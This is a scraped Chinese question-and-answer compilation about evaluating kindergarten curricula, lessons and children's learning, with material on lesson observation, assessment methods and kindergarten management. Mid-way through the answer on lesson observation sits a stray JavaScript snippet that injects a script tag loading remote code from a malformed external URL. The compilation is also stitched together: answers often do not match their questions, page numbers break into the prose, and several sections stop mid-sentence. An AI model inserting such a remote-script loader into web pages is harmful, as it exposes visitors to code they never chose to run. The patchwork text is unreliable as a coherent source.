專業學術機構對幼兒園課程的評價

1. 什麼是幼兒園課程評價的具體內容是什麼

課程評價是指檢查課程的目標、編訂和實施是否實現了教育目的，實現的程度如何，以判定課程設計的效果，並據此作出改進課程的決策。

2. 簡述幼兒園課程評價的內容和原則

幼兒園課程評價總的原則應有利於發揮教師、園長及課程決策人員改進課程的主動性、積極性和研究精神。具體表現在： (1)評價應有利於改進與發展課程； (2)評價中要發揮教師的主體性； (3)評價要有利於幼兒的發展。

3. 幼兒園課程評價的內容包括什麼和教師工作兩大方面

幼兒園課程評價內容包括教師的教學過程和平常的管理過程，這兩大方面因為幼兒的孩子主要是與玩耍中學習為主，而不是一教授知識為主。

4. 幼兒園教師怎樣評價專業教師的課

幼兒園教師該如何聽課和評課 幼兒園教師該如何聽課和評課 聽課、評課是教師在日常教學活動中經常性的不可缺少的教研活動，是促進教學觀念更新、教學經驗交流、教學方法探討、教學藝術展示、研究成果匯報、教學水平提高等的重要途徑和主要手段。聽課、評課過程，是教師在互動中獲取經驗、自我提高的過程。因此，聽課、評課是教師研究課堂教學，提高業務能力最有效途徑。 第一個問題：教師該如何聽課 一、聽課前應准備什麼 盲目性是效率的大敵，聽課也是如此，教師盲目進行聽課與有所准備去聽課，效果大不一樣，那麼，聽課前應做好如下准備工作。 （1）熟悉教材，了解這節課編者的意圖，弄清新舊知識的內在聯系，熟知教學內容的重難點。 （2）明確這節課教學的三維目標，聽課時只有明確了教學目標，才能看出教師教學的完成情況。 （3）針對這節課在頭腦中設計出課堂教學初步方案。粗線條地勾勒出大體的教學框架，為評課提供一個參照體系。 （4）聽課前要回憶自己是否教過這節課內容，有什麼困惑與問題。再回憶是否聽過這節課。 二、聽課時應記錄什麼 聽課記錄是重要的教學研討資料，是教學指導與評價的依據，它應該反映課堂教學的原貌，使聽課者依據聽課記錄，通過合理想像與彌補，在頭腦中再現教學實況。應關注如下幾個方面： （一）要關注教學環節設計。即情境創設→新課的導入→新知識的探究→新知識的鞏固、應用與拓展等。能夠做到隨機應變，靈活調整，調控課堂，達到激活課堂的目的。各環節如何控制時間，完成每一環節的過程和過渡的情況；聽課時還要注意思考，教師為什麼這樣安排課堂教學環節，大的環節內又是如何安排小的環節，怎樣使課堂結構符合本節課的教學目的、教材特點和幼兒實際的，各個步驟或環節之間怎樣安排是否有條不紊？一環緊扣一環的，什麼時候教師引導，什麼時候幼兒自主探究，什麼時候幼兒合作交流，什麼時候幼兒練習展示，什麼時候反饋評議，什麼時候質疑討論，什麼時候歸納小結，是否做到合理安排、科學調配，充分發揮 2 每一分鍾時間的效能。 （二）要關注重點突出難點突破。聽課時要關注教師是怎樣充分、靈活、簡便、有效地運用幼兒已有的知識再現縱橫聯系。是否採用舉例說明，引導比較、直觀演示等手段。如何運用比較、分析、綜合等邏輯思維方式幫助幼兒突破重點難點，理解掌握新知識。解決問題要關注如何將書本知識轉化為幼兒的精神財富。如何組織幼兒自主探究，親身體驗，學會新知識。這更要求我們青年教師必須認真細心揣摩。 （三）要關注教學方法與學習方法。聽課時要關注教師是怎樣在教學過程中與幼兒積極互動、共同發展。從教師的＂教＂為中心，向以幼兒的＂學＂為中心轉移，怎樣處理好傳授知識與培養能力之間的關系。如何創設幼兒主動參與的教學環境，激發幼兒的學習積極性，培養幼兒學習能力。 （四）要關注輔助手段的應用。聽課時，還要認真琢磨教師如何把信息技術與學科教學整合，充分發揮信息技術的作用，為幼兒的學習提供豐富多彩的教學情境，從而激發幼兒學習興趣，提高課堂教學實效。 （五）要關注練習設計與知識拓展。練習設計是否做到有針對性、層次性、拓展性，達到鞏固新知識，培養能力的目的。同時，要關注練習形式是否多樣，是否應用所學知識解決日常生活實際問題，提高幼兒解決實際問題的能力。 另外：課堂教學過程隨著時間的流動而進展。在一節課中，過去的不可能再＂回放＂；有些細節轉瞬即逝，忽略某些細節，感知就會出現斷裂，影響對整個教學環節的整體認知。因此，聽課時要全身心地投入，積極思維，認真分析。應從三個角色介入：即一要進入＂教師＂的角色。要設身處地地思考，如果自己來上這節課，該怎樣上。將執教者的教法與自已的構思進行比較，這樣即可以避免以局外人的身份去挑剔，看不到長處，不理解執教者的良苦用心；又可以避免無原則的同情理解，看不到不足與缺點。二要進入＂幼兒＂的角色。要使自己處於＂學＂的情境中，從幼兒的角度去反思教師怎樣教或怎樣處理教學內容、怎樣引導、如何組織，幼兒才能聽得懂、能探究、能應用、會掌握。三要進入＂學習＂的角色。在聽課中更多地去發現教者的長處，發現課堂教學的閃光點，以及對自己有啟迪的東西，做到取長補短，努力提高自己的業務水平。 三、聽課後應做些什麼 （1）整理好聽課記錄。記錄聽課內容，按先後程序提綱挈領地記錄下來。記錄時間分配，即各環節所用時間，教師教用的時間，幼兒學用的時間。記錄教法學法 var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script); 3 的選擇與應用，記錄情境創設、過渡的語言、引導的技巧、激勵的方法、組織活動的方式。記錄教師挖掘與利用課堂生成資源的情況，記錄靈活處理偶發事件。記錄練習狀況、練習內容、練習形式等。 （2）做好課後分析。聽過一節課後就應及時進行綜合分析，找出這節特點和閃光處，總結出一些有規律性的認識。明確對自己有啟迪、能學會的有哪幾個方面。並針對這節課實際情況，提出一些建議性的意見與合理性的修改建議，與執教教師進行交流切磋，以達到互助互學的目的。 第二個問題：教師該如何評課 一、評課的理念 1、評課內容：評課是對課堂教學效果的評價, 以及對構成課堂教學過程各要素(教師、 學生、教學內容、教學方法和教學環境等)作用的分析和評價，即教師與學生的相互作用、教師與教學方法的相互作用、教學方法與學生的相互作用等，包括課堂上的教與學、講與練、主導與主體、學知識與學做人、學知識與提高能力、全面要求與因材施教、教學目標與績效達成、教師專業發展等等方面。不光評價教師如何執教,還要看執教效果如何，其中最主要的是評價學生的學習方式和學習成效, 看目標達成度的高低, 即學生通過什麼方式來學習和感悟教學內容, 學生能不能用自己的話對教學內容進行再表達。 2、評課的功能 評課的功能可概括為四方面: 一是促進幼兒園教學質量的提高；二是促使教師專業素質的提高；三是帶動幼兒園教科研水平的提高；四是促使學生的素質得到較好的提高。最終在教育思想與理念、教學目標、教學內容、教學方法與手段、教學過程、作業設計、教學管理、教學基本功方面實現八個優化。 3、評課的原則 （1）實話實說原則：評課對於執教者是學習借鑒的機會。評課人只有懷著強烈的責任心，本著客觀公正、實事求是的精神, 評課才有實在的意義。但也要避免因「話重」而影響效果的情況, 所以實話實說也要講究方法與策略，講究評課藝術。 （2）「心理零距離」原則：評課者要從幫助促進的角度考慮問題, 提出中肯的指導意見, 特別要用誠懇的態度，營造一種「心理零距離」的融洽氛圍。讓執教者感覺善意, 容易接受意見, 這樣才有助於執教者反思自己的教學，提高其教學水準。 （3）突出重點原則：哪些地方需要改進，哪些地方很有特色，能抓住重點並理論聯系實際,讓執教者進入「豁然感悟」的境界

5. 對幼兒的學習進行評價主要有哪些類別

主題活動，即主題教學活動，是在幼兒園課程改革背景中產生的一種課程模式。它通常以貼近幼兒生活經驗的內容為主題，形式綜合、多元，活動一般要持續一段時間。
這是一種師幼共同建構的活動，幼兒作為活動主體在這個過程中逐步建構知識、學習技能、積累經驗、獲得發展。這是幼兒園課程由單一的學科知識轉向跨學科知識、學問知識轉向體驗性知識、內容知識轉向方法性知識的課程變革。
經過多年理論與實踐的探索，主題活動業已成為一種幼兒園的重要教學活動組織形式，成為幼兒園綜合課程、活動課程等課程模式普遍採用的一種基本設計思路。
然而，主題活動目標多維、內容多元、操作靈活，其教學目標的達成應通過活動中幼兒獲得的真實學習與發展來加以確定。
20世紀60年代以來，早期教育進入質量時代，〔1〕幼兒園課程評價方法蓬勃發展，〔2〕如檔案袋評價、多彩光譜評價、作品取樣評價、學習故事評價等，這些幼兒園課程評價模式均強調要根據幼兒在真實而有意義情境中的實際表現來進行評價，且具有以下幾個共同特點:
第一，評價融入活動，強調真實性、過程性;〔3〕第二，關注幼兒學習與發展的歷程，推崇個別化、發展性評價;〔4〕第三，記錄幼兒的多領域發展，側重多元化評價。
為此，業內形成了這樣的共識，每個幼兒都是獨立的個體;每個幼兒都生活在一定的社會文化背景之中，嵌套於活動中的幼兒學習與發展評價，應該隨活動線索的展開而展開，應該注重對幼兒個別化學習的評價，通過及時、准確獲取有關幼兒學習與發展的信息，描述、識別、助推幼兒各領域的學習與發展。

眾所周知，每一個主題活動都有不同的教育內容，所以嵌套於主題活動中的有關幼兒學習與發展的評價就需要有多元化的評價思路，以期讓每一次評價都能激發幼兒思考，鼓勵幼兒個別化學習，促進幼兒自我意識發展的作用。
基於幼兒學習與發展的過程，本研究提出有關在主題活動開展過程中對幼兒的學習與發展進行評價的五種方式(詳見下圖)。

1
獨立式評價:
相對獨立的評價指標與評價對象
評價指標的確定是開展評價的基礎，評價指標是衡量評價是否科學、有效的准繩。為了客觀、全面地對幼兒的學習與發展狀況作出評價，促使評價能夠真實反映幼兒的學習與發展水平，宜將幼兒作為獨立的評價對象來看待。
獨立式評價以《3~6歲兒童學習與發展指南》提出的兒童學習與發展五大領域目標為基本內容，關注幼兒在參加主題活動過程中獲得的學習與發展的核心經驗，關注幼兒情緒情感、意志品質和能力等方面的發展情況。相對獨立的評價指標、為每一位幼兒提供的評價表，用以記錄幼兒各領域的學習與發展情況。
2
多元化評價:
關注多重交織的教養環境
在幼兒園的主題活動開展過程中，幼兒與人、事、物發生多重互動。布朗芬布倫納曾系統闡述了學校、家庭和同伴群體這三個微觀系統角色的作用及其相互的聯系。這個情境化的交互環境為幼兒的學習與發展提供了機會。
為此，我們提出了多元化評價方式，這種評價方式除了教師的評價外，還有同伴、家長、保育員等的評價，這種多元化評價可讓幼兒從多角度了解自己及認識他人。
教師通過評價既了解主題活動開展的效果，更引導幼兒關注自己、關注他人，家長則透過評價加深對幼兒以及幼兒園主題活動的理解，並藉此豐富、拓展幼兒園的主題活動。

3
雙指引評價:
指導「教」和引導「學」
對幼兒在主題活動過程中學習與發展的評價也是一種對教師的「教」與幼兒的「學」的指引。
與主題活動相嵌套的評價能為教師的「教」和幼兒的「學」提供方向，引領幼兒園課程向「昨天的活動是今天的准備，明天的活動是今天的發展」的目標前進。
例如中班「美麗的杭州我的家」主題活動中，教師根據幼兒的自我評價情況了解到幼兒喜歡小組活動形式，對杭州的景點和特色小吃已有較豐富的經驗，於是，教師以此確定了下一步活動的目標、內容和組織形式。
4
延展式評價:
隨主題活動延伸與拓展的評價
延展式評價也是一種顯性評價，在與主題活動相呼應的延伸與拓展活動中，教師要及時發現幼兒在主題活動開展的不同階段發生的種種變化。延伸與拓展的主題活動也是幼兒學習與發展的過程，更是評價的創生過程，充分體現評價過程的完整性和未完成性。
以大班「我可以」主題活動為例。評價按照主題活動的進展分為前、中、後三個階段，評價涉及幼兒知識、情感、意志品質、行為四個方面。通過評價，家長和教師都看到了幼兒在主題活動過程中不斷克服不良情緒，自我抑制能力和延遲滿足水平等都在不斷發展。

5
適宜性評價:
強調個別化發展
對幼兒而言，通過評價引導他發現自身的潛能，進行有效的自我評價，繼而形成積極的自我認知，對幼兒今後的學習與發展都非常重要。
在主題活動中，教師會用不同的方式來展開教學，活動目標有時是在教學環節達成的，有時是在生活、游戲中達成的。幼兒可以不同的方式、不同的步調學習與發展。
因此，與主題活動相嵌套的評價應該關注不同幼兒不同的學習風格，客觀反映幼兒學習與發展的軌跡，幼兒的繪畫作品、口述日記、行為表現、情感體驗等都可以成為評價的形式，以充分展現幼兒的多元智能，描繪幼兒全方位的發展。
例如，可以基於對幼兒特定知識、技巧與行為學習的觀察，利用幼兒在主題活動中形成的作品來評價幼兒，最後匯集成冊，形成幼兒學習與發展的個人檔案。同時，要引導幼兒參與評價，這也是引導幼兒學習正確歸因、學習情緒調節、增強自我效能感、提高自我認知水平的過程，因此，自評和他評都是對主題活動中幼兒學習與發展進行評價的適宜方式。

如上所述，我們對幼兒在主題活動開展過程中的學習與發展評價形成了相對獨立的評價指標體系，評價過程充分強調幼兒與家長、同伴、環境的互動，既以評促教，更以評促學。同時，評價與幼兒個別化的學習與發展過程相適應。
通過多年探索，我們研製了在真實的主題活動情境中對幼兒的學習與發展進行評價的工具:我們先從教師根據《3~6歲兒童學習與發展指南》預設的主題活動目標中梳理出幼兒可能獲得的核心經驗，然後選取與核心經驗相適宜的評價方法，透過評價發現幼兒在學習與發展過程中的興趣、優點和存在的問題，據此調整活動方向和內容，實現教與學的統合。通過反復實踐，我們形成了五種具體的評價方法。

1
「分段式」調查性評價
即根據主題活動的特點和需要分階段對幼兒的學習與發展進行評價，教師從分段式調查性評價中了解和掌握幼兒真實的學習與發展經驗和水平，結合主題活動的總目標來把握主題活動發展的方向與步調。
2
「日記式」跟蹤性評價
「日記式」跟蹤性評價是指在主題活動背景下，結合每天活動的具體內容，由教師對幼兒進行記錄和反思，通過日記反映幼兒成長的軌跡。
3
「作品式」檔案性評價
即結合幼兒在主題活動中形成的各種作品，通過對幼兒作品的評價，展示幼兒的努力、進步，以促進幼兒自信心的提升。

4
「互評式」多元化評價
這類評價綜合運用了幼兒互評、小組評價、集體評價等方法。幼兒可以通過抽簽互評、自主找朋友互評、教師安排的小組互評等方式展開同伴間的評價。這種評價有利於提高幼兒的責任意識以及觀察分析和歸因能力。幼兒在評價過程中可以學習客觀公正地看待事情和他人，虛心向他人學習。
5
「回顧式」歸因性評價
「回顧式」歸因性評價是指主題活動結束後，引導孩子回顧整個主題活動的開展過程，為自己或他人做一個整體的、系統性的評價，學習反思和歸因，體會作出努力後的喜悅，藉助多主體評價來強化自己在這一主題活動開展過程中所得到的收獲和感受。
在主題活動開展過程中，以上五種具體的評價方法可以按需交叉、組合使用。
例如中班「美麗的杭州我的家」主題活動評價，首先用調查性評價幫助教師了解幼兒對杭州美景的原有經驗，然後用跟蹤性評價讓幼兒看到自己在主題活動開展過程中對杭州美景、杭州特產的逐步深入了解，並通過「老師眼中的我」「同伴眼中的我」多元化評價幫助幼兒了解到自己在團隊合作過程中的表現等。

6. 幼兒園課程評價的內容包括哪些方面

一.觀課形式
1.領導和教師隨時進教室觀課，對其教學情況進行評價.
2.每位專教師每月出屬一節公開課，村小學以校為單位，中心小學以教研組為單位進行學習和評價.
3.每學期選不同學科的優秀教師上觀摩課，全鎮小學教師參與聽課和評價.聽課教師認真填寫<課堂評價表>在會上進行交流，以達到提高教師能力和水平的目的.
二.評價辦法
1.評價採取自評與他評相結合的方式進行，強調評價者與評價對象之間的相互尊重，平等合作.
2.實行多向評價.除領導，專業人員外，更強調同行的參與，在有條件的還可以讓家長.學生參與，以全面了解各種信息.
3.評價方法多樣，採取研討.訪談.觀察.問卷.測驗等多種方法相結合的方式進行.
4.評價不但要評教，而且要評學，不但要注重結果，更要注重過程.
5.評價不但要對現狀作出診斷，而且要關注改進和發展，提出可行的改進建議，達到促進發展的目的.
6.出公開課的教師，在聽取聽課教師的評價後，要在兩天之內寫出教學反思交於主管領導.
三.評價原則
1客觀性原則
評價標准要客觀，不帶隨意性.
評價學生要客觀，不帶偶然性.
評價態度要客觀，不帶主觀性.
2整體性原則

7. 如何對幼兒園活動的進行評價

在區域活動中，幼兒主要是以個體、自主學習的方式活動並建構經驗的。然而，幼兒的學習離不開同伴的影響，同伴互助是幼兒成長的重要背景和資源。同時，材料承載著教育者的期望和智慧，理應成為吸引幼兒注意，幫助幼兒學習，引導幼兒互動，延續幼兒興趣的媒介。因此，不同的活動區域、不同特性的操作材料、會產生不同的活動效果。
在建構區，要求幼兒能利用不同材質的積木、半成品，運用搭高、鋪平、對接、圍合、對稱等方法 ，搭建出一定規模的建築造型，說出作品的名稱及用途。
在閱讀區，要求幼兒能主動選擇圖書，細心觀看圖畫故事，理解故事內容並和同伴互相交流。在角色區，幼兒能扮演各種角色，與人交往，語言使用貼切，講文明，懂禮貌，團結友愛，互相尊重。
在美工區，幼兒能主動選擇和處理材料，善於利用各種資源，會使用簡單的工具，作品有一定的創造力，愛惜自己的作品。
在操作區，能積極嘗試各種玩具，會排圖、會分類、會排序、給小動物餵食、練習系鞋帶、編辮子等。教師除了要適當調整幼兒的活動外，還要注意從「新、奇、趣」入手，激發幼兒的興趣和求知慾，並經常更新區角材料，啟發幼兒對同一種材料不斷變化出新的玩法。
另外，也可以充分利用家長資源，把生活中可利用的廢舊物品，如；酸奶瓶、紙盒、果殼、舊紙筒、蛋殼等材料，讓幼兒和家長一起收集，投放在區域中，形成資源共享。教師還應該支持幼兒興趣的持久程度，並啟發幼兒發散思維，只有這樣的游戲內容，貼近幼兒的生活，為幼兒所熟悉，才能真正調動幼兒的積極性和主動性。在工作中教師可以設計一些簡單的表格，對幼兒區域活動情況進行評價，還要定期對幼兒進區頻率、與材料互動情況進行統計，適當調整幼兒的活動。
教師應精心為幼兒創設適宜的區域環境，提供適宜的操作材料，結合主題教育活動，讓幼兒在與區域環境的相互作用中互動，使區域活動成為孩子們真正的游戲樂園。

8. 根據幼兒園課程整體評價對中國幼兒課程評價目標內容方法有什麼啟示

幼兒園課程評價內容為： （1）對照幼兒園教育目標和《幼兒園教育指導綱要（試行） 》 ，檢查和評估 已經擬訂的課程計劃在目標、內容、組織與方法等方面的適宜性； （2）在課程實施中及時記錄幼兒在教 育過程中的行為反應，並以此定期對照教育教學計劃中預定目標，檢查評估該目標本身以及所實施的教 育內容、組織、方法和手段等的適宜性； （3）在課程實施過程中，定期對照《幼兒園工作規程》和《幼 兒園教育指導綱要（試行） 》中的教育指導思想幾各項要求，檢查評估教師的行為、態度、教師與兒童 的關系和互動方式是否有利於課程目標的實現； （4）對照課程目標，測查評估幼兒身心諸方面發展的整 體性和均衡性。

9. 怎樣對幼兒園教育的進行評價

二十一世紀是信息爆炸的時代，是人才輩出的時代，時代呼喚的是具有創新精神與無窮發展潛力的新人類。集體教學活動又能為幼兒提供多大的發展空間呢？在集體教學活動中又能獲得多少發展的可能性呢？這是值得引起每一位幼兒教育工作者思考的問題。
集體教學活動是幼兒獲取信息、鍛煉提高多種能力的重要渠道。教學專家余文森教授說：「集體教學活動的有效性指通過集體教學活動，幼兒在各方面有收獲、有提高。具體表現：在認知上，從不懂到懂，從少知到多知，從不會到會；在情感上，從不喜歡到喜歡，從不熱愛到熱愛，從不感興趣到感興趣」。有效的集體教學是兼顧知識傳授、情感交流、智慧培養和個性塑造的過程。如何組織合理、有效的集體教學，關於新課程背景下集體教學有效性的策略研究就成為我們教師實施課程改革的切入點。集體教學是集教師、幼兒的活動於一體的活動，其中包含教師的「教」，更重要的是幼兒的「學」。現結合自己多年的教學實踐，對集體教學有效性策略進行探究，希望對一線的幼教工作者有所幫助。
一、幼兒園集體教學活動現狀分析
1、陳舊的教學觀對教師的影響根深蒂固。
教學觀是教師對教學的認識或對教學的主張，也就是教師對教學目標、過程、對象的認識。目前幼兒園教育仍受傳統陳舊的教學觀的禁錮。
（1）活動目標單一、不具體。
（2）活動過程乏味，教法單一。
（3）忽視教育對象的主體性。
2、教師對現代教育理念的理解有失偏頗，走向另一個極端。
在呼喚幼兒園課程改革，強調幼兒主體地位、主動學習的今天，一部分教師把課程改革看作是與傳統的決裂，甚至不少教師產生了一些極端想法，認為：提倡在生活和游戲中學習就是否定了傳統單科教學模式；提倡幼兒自我知識的建構就是否定了教師的講解和示範；提倡幼兒的體驗學習就是幼兒的自我游戲，忽視了教師與幼兒的有效互動。
如何在新《綱要》思想的指導下改變這一現狀，探求適宜幼兒終身發展的集體教學活動的有效策略，是當前集體教學活動面臨的現實問題。
二、幼兒園集體教學活動的有效性策略
（一）、教學准備策略：
教學准備策略主要指教師在集體教學活動前所要處理的問題解決行為，即在制定教學方案時所要做的工作。具體說，教師在准備教學時須解決如下問題：目標的確定、材料的准備、教法的選擇等。有效的教學准備策略應包括以下幾方面：
1、明確教學目標
教學目標是師幼通過教學活動預期達到的結果或標准，在集體教學中一定要先明確教學目標。目標的確立須從幼兒角度出發，涵蓋態度情感、能力、知識經驗多個緯度，必須是可測的、可評價的、具體的、明確的，適宜大部分幼兒最近發展區，是可以共同達到的。
例如：小班科學領域「認識時間」，某教師目標表述：「認識白天黑夜，了解主要特徵及與人們生活的關系；正確區分白天黑夜」。顯然，目標過於單一，僅重視知識技能的傳授，而忽略其它能力的發展。結合有效教育目標的標准，可做如下改動：「認識白天黑夜，了解其主要特徵及與人們生活的關系；正確區分白天黑夜，嘗試運用時間詞彙；幫幼兒樹立時間觀念，養成良好的生活習慣」。
2、准備操作材料
集體教學中操作材料的作用是舉足輕重的。教師應結合活動要求和幼兒的年齡特點，准備最佳的操作材料，發揮最大效應。
（1）材料的可操作性。集體教學中提供的材料操作性要強，使幼兒願意操作、探索。如：整合活動「有趣的線條」，幼兒可利用線條自由表現，充分體驗創造想像的樂趣。
（2）材料的層次性。同一年齡幼兒發展水平不一致，存在個性、智力、能力上的差異。教師提供的材料要有層次性，使幼兒能選擇適合自己的材料進行操作、探索，有效促進每個幼兒在原有水平上得到發展。如中班社會領域《神奇的筷子》，可提供不同層次的材料：易夾的紙團、難度大的黃豆等，不同層次的幼兒可找到適合自己的操作材料，興趣自然很濃。
（3）材料的豐富性。要讓幼兒真正成為學習的主人，就須保證足夠的、豐富的材料供幼兒操作。如：大班科學領域「認識磁鐵」，教師動員家長為幼兒准備磁鐵、木塊、布條、玻璃、塑料等。通過動手操作探索其特性，並運用磁鐵解決實際生活中的問題。
（4）材料的多功能性。活動中提供的材料盡可能一物多用。如幼兒常玩的套桶，可作為數數、區分大小、排序的操作材料，如加上數字卡，也可作為認數的材料，充分發揮套桶的作用。
3、選擇適宜的教學行為和組織形式
教師的教學行為和活動的組織形式直接影響教學活動的效能,為此，要選擇適宜的教學行為和組織形式。
（1）教學方法多樣化。據幼兒年齡特點，採用豐富的教學方法，如游戲法、觀察法等進行教學。如「認識蔬菜」，應通過視覺、觸覺、味覺進行教學，避免單一說教。
（2）組織形式生活化。將抽象的活動生活化，使幼兒輕松習得知識。如小班排序活動，請幼兒用色彩鮮艷的串珠，按大小、顏色、形狀等標准進行排列，製作彩色項鏈。
（3）教學手段現代化。藉助多媒體進行教學，易幫幼兒釋疑，提高工作效率。如：大班數學活動「目測數群」，傳統的教學幼兒較難理解其意義，通過課件演示，使抽象的問題具體化，枯燥的問題生動化，復雜的問題簡單化，但並不是所有的內容都適合課件演示。我們須抱著「揚棄」的態度，使現代化教育手段和傳統教育教學有機結合，提高教育教學的整體效益。
（二）、教學過程的實施策略：
教學過程的實施策略，主要是指教師為實施教學方案而發生在集體教學活動內外的一系列行為。集體教學行為包含兩方面的內容：一是管理行為，二是教學行為。
1、管理行為。集體教學的管理行為是為了使教學能順利地進行而創造各種有利條件及為了確保單位時間內的教學效益的活動。
2、教學行為。教學行為包含兩種：一是直接指向目標和內容，可以事先做好准備的行為；二是直接指向幼兒和教學情景，無法事先做好准備的偶發事件。
幼兒園教學活動中的有效教學行為應該是：
（1）形成教師與幼兒、幼兒與幼兒間積極、有效的互動。
A、營造輕松愉快的活動氛圍。如大班數學活動《娃娃超市》，教師不作限制，只要求幼兒注意輕拿輕放，愛護玩具。幼兒自由選擇喜歡的玩具，主動介紹玩具的玩法……，輕松、愉快的活動氛圍是師幼有效互動的前提。
B、注重以同伴的身份參與幼兒活動，實現真正的師幼互動。
C、注意適時、適度的干預。教師不要過多的干預，盡量讓幼兒自己思考、嘗試解決問題。促進幼兒知識的建構，幫幼兒掌握知識，發展能力。
（2）關注幼兒的個別差異。首先要善於觀察、了解幼兒，找出幼兒學習的最近發展區。其次，對觀察的結果客觀分析，找出適合的教育手段和方法，及時調整教育策略和要求。如：一部分幼兒對於10以內的數量，目測即能說出總數，因此，可隨機調整學習內容「練習按群計數」，落實因人而異的教育。
（三）、教學評價策略：
教學評價策略主要指對集體教學活動過程與結果做出的系列價值判斷行為，是過程性評價。
1、評價應科學合理。避免採用統一的標准評價不同發展水平的幼兒。
2、評價應具有針對性。避免在一次活動中不斷出現「不錯」「很好」等詞語。
3、評價應指向教育活動的全過程。
幼兒集體教學活動是幼兒課程中不可或卻的一部分。新的課程觀告訴我們：「幼兒不是被動的接受知識，而是建構和發現知識；不是知識的旁觀者，而是知識的主動建構者和創造者。幼兒的這種角色不是教師賜予的，而是作為學習者天然具有的」。要使幼兒園的集體教學活動真正做到有效、高效，還有很長的一段路要走，讓我們共同努力！

10. 對這幼兒園的總體評價

建立科學的管理機制是幼兒園內部產生良好循環的根本保證。俗話說：「麻雀雖小，五臟俱全。」，形象地道出幼兒園管理工作面廣事雜。園長事務繁多，單靠園長一人管理全園工作，即使有三頭六臂也很難保證提高幼兒園工作質量。那麼如何科學規范管理幼兒園是廣大幼教管理者探討的課題。幾年來，我們根據本園的實際情況，深入探討 管理的步驟、方法與措施，探索出一條符合我園實際的管理思路，為幼兒園各項工作提供了有力的保證。 一、加強隊伍建設，提高專業素質 思想進步是一切工作的根本保證。堅持把學習放在首位，著眼於從思想、業務上提高教職工的素質具有不可忽視的作用。 首先，教育管理研究表明：一個好校長就能帶出一支好隊伍，辦出一所好學校。因此，園領導應率先垂範，以身作則，深入學習幼教法規及《綱要》精神，經常了解，參與各種教研，教改活動及業務學習，不斷更新教育觀念，提高自身的業務水平。根據幼兒園的工作實際，細化安排全園學習方案，明確學習教育的目標要求，科學安排，環環相扣，堅持學習制度，開展學習教育活動。創造各種條件，利用一切機會，組織教職工學習《教師法》、《中小學教師職業道德規范》、《教職工日常行為規范》等內容，開展寓教於樂的文娛活動，盡可能使每一位教職工感到幼兒園工作的愉快，進而產生認同感、歸屬感、安全感、激發他們的創造力，全面提高教職工為社會、為家長、為幼兒服務的宗旨意識。其次，幼兒園管理工作的核心是對教師的管理。一所好幼兒園就必須有一批好教師。因此，應重視抓好教師的在崗培訓、學習，以教科研探討為突破點，全面更新教師的教育教學觀念。堅持「走出去、請進來」的學習方式，採取以會代訓、競賽、觀摩等多種形式，每周組織教師進行業務理論知識學習，選派骨幹教師參加省、市幼兒骨幹教師培訓班學習，組織教師聽取專家講座，幫助教師樹立正確的時代觀，真正認識幼兒園教師的素質結構與當今時代發展的需要。在注重教師基本功訓練的同時，應重視新教師的崗位練兵，對新教師的素質課、匯報課及時地予以指導和評價。 二、建立健全制度，提高管理效率俗話說：沒有規矩，不成方圓。規章制度的制定，對完成幼兒園各項任務，建立正常秩序，提高管理效率具有重要的意義。第一、榜樣的力量是無窮的。園領導應率先垂範，帶頭嚴格執行規章制度，給教職工做出表率，帶動影響全園教職工的行為。正所謂「其身正，不令而行，其身不正，雖令不從。」園領導的自身形象和行為是無聲的命令。第二、美國當代著名管理學家德魯克曾說：沒有機構就沒有管理，沒有管理就沒有機構。比如，我園建立了以園長為核心的層級管理體制，設立三處一室，各處室職責分明，既分工又相互協作，實行「誰主管，誰負責」的制度。堅持以人為本，管理育人的有效方法，加強對各崗位人員的檢查與指導，充分了解她們的工作態度和能力，及時調整崗位，採取兩崗合一的辦法，減少「人浮於事」的現象，發揮各崗位人員的優勢和潛能，注重不同崗位人員的「心理調換」，進行換位思考，開展「假如我是園長」，「我為學園獻點子」等活動，鼓勵教職工為幼兒園管理出謀獻策。定期召開教代會、工代會、民主評議會、園務會，充分發揮民主集中制的原則，集思廣益，吸取教工的意見，讓教職工參與制定「教職工績效考評」，「教師教學考評考績」的具體操作細則，全面修改補充《幼兒園各類規章制度》，尤其是審核細化考核、獎懲制度條例，並將工作情況與獎懲結合，保證其他規章制度的貫徹執行。實踐證明：只有以制度管人，讓制度服人，人人服從制度的管理，幼兒園才能朝著規范化，科學化的軌跡遠行。第 三，計劃是一切工作的起始和保證。為此制定科學合理，切實可行的學園工作計劃，做好計劃的組織與實施，保證各項工作狠抓落實。應作到：工作總體計劃與部門計劃經統籌協調，相互銜接達成一致，最後定出每周具體工作安排，這是推進幼兒園目標管理的一項重要工作。鑒於「計劃」不是一成不變的，在各個階段應靈活運用新時期黨的思想路線以及新的幼教信息快速結合起來的方法，將科學管理幼兒園貫穿於工作之中，及時調整補充工作計劃。比如我園在辦公室協調各部門過程中，廣泛徵求意見，使每周工作做到有條不紊、正常開展，逐項抓落實，把各處室實施情況及時調整、反饋，並核實下一周的具體工作內容，這樣最大限度地避免工作的重復性、盲目性、隨意性，從而提高工作效率。 三、致力科研探索，提高保教質量保教質量是一所學園立足於社會、參與競爭的基礎。堅持以教科研為中心，全面拓寬科研領域，樹立教學研究、教育研究、教學管理三位一體的意識，是當今幼兒園課程改革管理過程中探討的模式。第 一，全完善常規，實現常規的科學性是幼兒園保教工作的一項重要內容。我園建立「園一段─班」的三級教學管理機制，促進教學常規的穩定有序。注重引入競爭機制，把早操、區域設置、戶外活動情況等工作的評比展現出來，充分發揮「教研園地」的作用，進一步完善常規檢查制度。採取行政定期、不定期的檢查，發現問題及時反饋；段長根據周目標及周重點對一日活動各環節的檢查，段長間的互評互查；班級與班級之間的監督、檢查，不斷改進教育教學工作中存在的問題。第 二，常規是根基，科研是關鍵。在抓教學常規管理的同時切實抓課題研究工作，如，教研製度上建立大、小教研組和年段集體備課組交替學習的制度，保證每月一次全園集中的業務學習，一次以年段為單位的集體備課學習，兩次課題研究的學習以及班級定期開展課題研究活動，每個月不少於兩次，真正做到專題研究和一般教學研究相結合，逐漸形成並建立以教學研究為基礎、教育科研為先導、教學管理為保證的現代教研方式。創立 「學科教研活動周」，「年段教育教學觀摩活動周」的教學探討方式，成立語言、數學、音樂、美術、體育、科游、角游等課題小組，注重培養帶頭人。在各學科課題組長的帶領下，指導教師從選擇課題到制定課題計劃以至研究課題的實施方案，做到有計劃、有目的地開展教研活動，各課題組之間形成了一股聽課、說課、評課的良好風氣，每學期定期向全園教師提供公開觀摩活動，展示課題研究進展狀況和研究階段成果。 